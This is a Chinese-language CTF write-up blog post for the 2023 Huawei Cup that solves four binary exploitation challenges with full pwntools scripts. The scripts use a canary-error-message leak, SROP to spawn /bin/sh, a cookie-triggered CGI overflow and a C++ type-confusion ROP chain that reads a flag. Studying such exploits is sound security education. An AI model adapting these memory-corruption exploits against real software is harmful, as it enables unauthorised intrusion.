2023华为杯WriteUp

题目链接:https://github.com/h0pe-ay/ctf-competition

ez_ssp

题目存在非常明显的栈溢出漏洞,但是开启了Canary保护,因此无法直接利用栈溢出。并且允许执行三次栈溢出,剩下两次是通过fork函数,通过拷贝子进程进行执行的。

fork出的子进程有个特点,会与父进程生成的Canary值一致,刚开始考虑的时通过爆破获取Canary值,但是Canary的长度为八个字节,因此不够次数。但是在触发Canary保护时会有一个特点,如下图所示,会泄露出程序名,而程序名是存储在栈上面的。

image-20231001224503030

并且该栈值刚好能够通过gets函数输入覆盖,因此只需要将该值覆盖为需要泄露的地址即可。

image-20231001225200713

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
sh = process("./pwn")
elf = ELF("pwn")
#gdb.attach(sh, "b*0x400B8B")
sh.recvuntil("ame?")
sh.send("\x00")
sh.recvuntil("nt to do?")
payload = "a" * 0x128
payload += p64(elf.got['puts'])
sh.sendline(payload)
sh.recvuntil("tected ***: ")
addr = u64(sh.recv(6).ljust(8,"\x00"))
log.info("addr:"+hex(addr))
libcbase = addr - libc.symbols['puts']
log.info("libcbase:"+hex(libcbase))


sh.recvuntil("ame?")
sh.send("\x00")
sh.recvuntil("nt to do?")
payload = "a" * 0x128
payload += p64(libcbase + libc.symbols['environ'])
sh.sendline(payload)
sh.recvuntil("tected ***: ")
addr = u64(sh.recv(6).ljust(8,"\x00"))
log.info("addr:"+hex(addr))

target = addr - 0x178
sh.recvuntil("ame?")
sh.send("\x00")
sh.recvuntil("id is: ")
xor = int(sh.recvuntil("\n", drop = True),10)
log.info("xor:"+str(xor))
sh.recvuntil("nt to do?")
payload = "a" * 0x128
payload += p64(target)
sh.sendline(payload)
sh.recvuntil("tected ***: ")
data = sh.recvuntil("terminated", drop=True)
print(data)
flag = ""
for i in data:
try:
flag += chr(ord(i) ^ xor)
except:
continue
print(flag)
sh.interactive()

master-of-asm

题目提供了syscall指令与/bin/sh字符串的地址,并且系统调用号可以通过read函数控制,直接使用srop即可,需要弄清楚执行sigreturn时,栈上就是被伪造好的Signal Frame,并且uc_flags由于用不着因此被其余值填充也不影响。

image-20231001225845931

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
#0x0000000000401019 : syscall
context.arch = 'amd64'
syscall = 0x40102D
sh = process("a.out")
attach(sh,"b*0x40101B")
raw_input()
sh.recvuntil("Hello Pwn")
sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = 0x40200A
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rsp = 0x40200A
sigframe.rip = syscall
payload = p64(0x40101B) +'a'* 8+ str(sigframe)
raw_input()
sh.send(payload)
payload = p64(0x40102D) + 'a'*7
raw_input()
sh.send(payload)
sh.interactive()

APACHE-CGI-PWN

这题只要设置了cookie就可以进行栈溢出的利用了,这里需要注意的时cookie名许需要设置为ROOT-GOD

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#coding:utf-8
from pwn import *
import requests

def pwn1():
cookies = {
'ROOT-GOD': "Every king's blood will end with a sword",
}
url='http://127.0.0.1:10086/getcookie.cgi'
r=requests.get(url=url,cookies=cookies)
print(r.text)
if r.status_code == 200:
print('POST请求成功!')
print('响应内容:', r.text)
else:
print('POST请求失败。状态码:', r.status_code)

pwn1()

image-20231001230812879

string_emulator

这题的考点是c++的类型混淆,但是c++的反汇编代码简直难看的不行,通过反复测试发现在功能add获取堆块时,可以选择类型,但是这两种类型获取的堆块,在edit功能中都用相同的方法进行处理,这就导致了类型混淆的漏洞了。在选择类型1进行新建堆块后,在进行edit功能可以直接修改需要show的地址,因此造成任意地址的泄露,这里会对第一个整型值做值校验,这里只需要设置为0xffffffff即可,因为存在整型溢出的漏洞。接着需要将堆块放到unsortbin上使得bk指针存在libc的地址,即可泄露libc地址,然后则是通过libc地址泄露栈地址与堆块的地址,栈地址通过environ变量泄露,而该变量的后方有brk函数所定义的堆块末尾地址。

接着是在show功能中存在strcat函数,这个函数所拼接的地址刚好是可以任意篡改用于泄露的地址,因此在泄露完上述地址后可以定义一个堆块,并且将该堆块地址用于strcat函数的拼接,从而造成栈溢出漏洞。这里需要注意几个点

  • 程序不能输入截断符号并开启了沙盒,在使用orw时会受到限制,因此需要先通过gets函数对栈上进行输入orwgadget
  • 由于cin函数会将回车符作为一个输入的结束,并且gets函数的地址末尾恰好为0x20,但是通过调试可知在gets函数的上方nop指令,因此我们将gets函数的地址减一不会影响gets函数的调用
  • gets函数有个特点,它会校验缓冲区内是否为回车符,若是有回车符会中断输入,感兴趣大家可以进行调试。因此在进行cin输入时使用空格作为分隔符
  • 由于我们已经泄露的栈地址了,因此在调用gets函数时直接往存在gadget链的栈上输入即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *

sh = process("./pwn")
#context.log_level = 'debug'
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

'''
0x000283e2 : pop eax ; ret
0x000a1101 : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x00163c1b : pop ebp ; pop ebx ; ret
0x000444c0 : pop ebp ; pop esi ; pop edi ; ret
'''
pop_ret = 0x000283e2
pop2_ret = 0x00163c1b
pop3_ret = 0x000444c0
pop4_ret = 0x000444bf

def add(choice, index, content):
sh.recvuntil("ce:")
sh.sendline("1")
sh.recvuntil("pe ?")
sh.sendline(str(choice))
sh.recvuntil("ld")
sh.sendline(str(index))
sh.recvuntil("tent ?")
sh.send(content + " ")

def show(index):
sh.recvuntil("ce:")
sh.sendline("3")
sh.recvuntil("show?")
sh.send(str(index) + " ")

def edit(index, content):
sh.recvuntil("ce:")
sh.sendline("2")
sh.recvuntil("nge?")
sh.sendline(str(index))
sh.recvuntil("tent ?")
sh.send(content + " ")

def edit1(index, content):
sh.recvuntil("ce:")
sh.sendline("2")
sh.recvuntil("nge?")
sh.sendline(str(index))
sh.recvuntil("tent ?")
sh.send(content + b" ")


for i in range(20):
add(1,str(i),'a'*0x30) #0 - 19
for i in range(20):
edit(str(i), 'a'*0x40)
add(1, 200, 'a'*0x3ff) #200
#attach(sh)
for i in range(20):
edit1(str(i),p32(0xffffffff))
show(18)
sh.recvuntil("ONTENT: ")
addr = u32(sh.recv(4))
log.info("addr:"+hex(addr))
libcbase = addr - 0x1eb8f8
log.info("libcbase:"+hex(libcbase))
#attach(sh)
#raw_input()
target = libcbase + 0x1ed098 + 1
log.info("target:"+hex(target))
payload = p32(0xffffffff) + p32(target)
edit1(17, payload)

show(17)
#attach(sh)
sh.recvuntil("ONTENT: ")
addr = u32(sh.recv(3).rjust(4,b'\x00'))
log.info("addr:"+hex(addr))

payload = p32(0xffffffff) + p32(libcbase + libc.symbols['environ'])
edit1(17, payload)

show(17)
#attach(sh)
sh.recvuntil("ONTENT: ")
stack = u32(sh.recv(4))
log.info("addr:"+hex(stack))


payload = b'x'*4 + p32(target - 0x100) * 8 + p32(libc.symbols['gets'] +libcbase - 1 ) + p32(libcbase + pop4_ret) + p32(stack - 0x108 - 1)
log.info(hex(libc.symbols['gets'] + libcbase))
#raw_input()
edit1(17,payload)

edit1(16, p32(0xffffffff) + p32(addr - 0x1c630 + 1))
#attach(sh, "b*$rebase(0x2413)")
#raw_input()
show(16)

payload = p32(libcbase + libc.symbols['open']) + p32(libcbase + pop2_ret) + p32(stack - 0xd0) + p32(0)
payload += p32(libcbase + libc.symbols['read']) + p32(libcbase + pop3_ret) + p32(3) + p32(stack) + p32(0x100)
payload += p32(libcbase + libc.symbols['write']) + p32(libcbase + pop3_ret) + p32(1) + p32(stack) + p32(0x100)
payload += b"./flag"
#raw_input()
sh.sendline(payload)
#attach(sh)

sh.interactive()

image-20231001231104525


2023华为杯WriteUp
https://h0pe-ay.github.io/2023华为WriteUp/
作者
hope
发布于
2023年10月1日
许可协议